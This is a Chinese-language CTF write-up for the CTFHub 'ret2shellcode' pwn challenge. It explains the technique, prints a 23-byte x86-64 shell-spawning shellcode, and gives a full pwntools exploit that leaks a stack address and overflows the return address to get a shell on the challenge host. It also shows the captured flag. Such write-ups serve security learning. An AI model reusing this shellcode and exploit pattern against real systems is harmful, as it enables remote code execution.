ctfhub - ret2shellcode writeup
2020-04-08 本文已影响0人
余生似梦
简介
在栈溢出的攻击技术中通常是要控制函数的返回地址到特定位置执行自己想要执行的代码。
ret2shellcode代表返回到shellcode中即控制函数的返回地址到预先设定好的可读写区域中去执行shellcode代码。
利用条件
ret2shellcode的局限性在于,我们存放shellcode的这个地址内存页是标识为可执行,即通常情况下我们checksec程序是NX保护就关闭的,否则当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。
常用的shellcode有:
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
这个shellcode只有23个字节,短小精悍,适合放在栈中去执行
还有一种是通过pwntools生成:
from pwn import *
shellcode=asm(shellcraft.sh())
这个shellcode是44个字节
解题过程
开启题目,下载附件,使用file查看文件类型
root@unic0rn:~# file pwn
ret2shellcode: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=94500626298378cae494e018a28e70c1a187d603, not stripped
查看安全措施 CANARY/FORTIFY/NX/PIE 基本都关闭了
gdb-peda$ checksec ./pwn
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
gdb-peda$
是一个64位的elf文件,我修改了文件名为ret2shellcode 便于与其他题目区分,添加可执行权限
chmod -x ret2shellcode
运行一下看看,可以看到题目生成一个地址,并且需要在Input someting 后面输入payload
root@unic0rn:~# ./ret2shellcode
Welcome to CTFHub ret2shellcode!
What is it : [0x7ffc4406bf50] ?
Input someting :
放到IDA里看一下
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 buf; // [rsp+0h] [rbp-10h]
__int64 v5; // [rsp+8h] [rbp-8h]
buf = 0LL;
v5 = 0LL;
setvbuf(_bss_start, 0LL, 1, 0LL);
puts("Welcome to CTFHub ret2shellcode!");
printf("What is it : [%p] ?\n", &buf, 0LL, 0LL); \\打印出了buf在栈的地址
puts("Input someting : ");
read(0, &buf, 0x400uLL); \\溢出点在这
return 0;
}
__int64 buf; // [rsp+0h] [rbp-10h]
可以知道buf相对于rbp的偏移为0x10
所以其可用的shellcode空间为16+8=24字节(偏移量+返回地址),我们有长度为23的shellcode,但是因为其本身是有push指令的,如果我们把shellcode放在返回地址的前面,在程序leave的时候会破坏shellcode,所以我们将其放在后面,即payload的格式为:
'a'*24+[buf_addr+32]+shellcode
这里的32是24字节的填充数据+返回地址
编写EXP
from pwn import *
host = 'challenge-73515f640e7d1aa5.sandbox.ctfhub.com'
port = 36434
#p = process('./ret2shellcode')
p = connect(host,port)
p.recvuntil('[')
buf_addr = p.recvuntil(']', drop=True) # 获取buf地址
# print buf_addr
p.recvuntil('Input someting : ') # 执行直到出现这句话
shell="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
p.sendline('a'*24 + p64(int(buf_addr,16)+32) + shell)
p.interactive()
获取flag
root@unic0rn:~# python ret2shellcode.py
[+] Opening connection to challenge-73515f640e7d1aa5.sandbox.ctfhub.com on port 36434: Done
[*] Switching to interactive mode
$ ls
bin
dev
flag
lib
lib32
lib64
pwn
$ cat flag
ctfhub{78d6def3720dcf508530e21d1be82466cb78f6ff}
$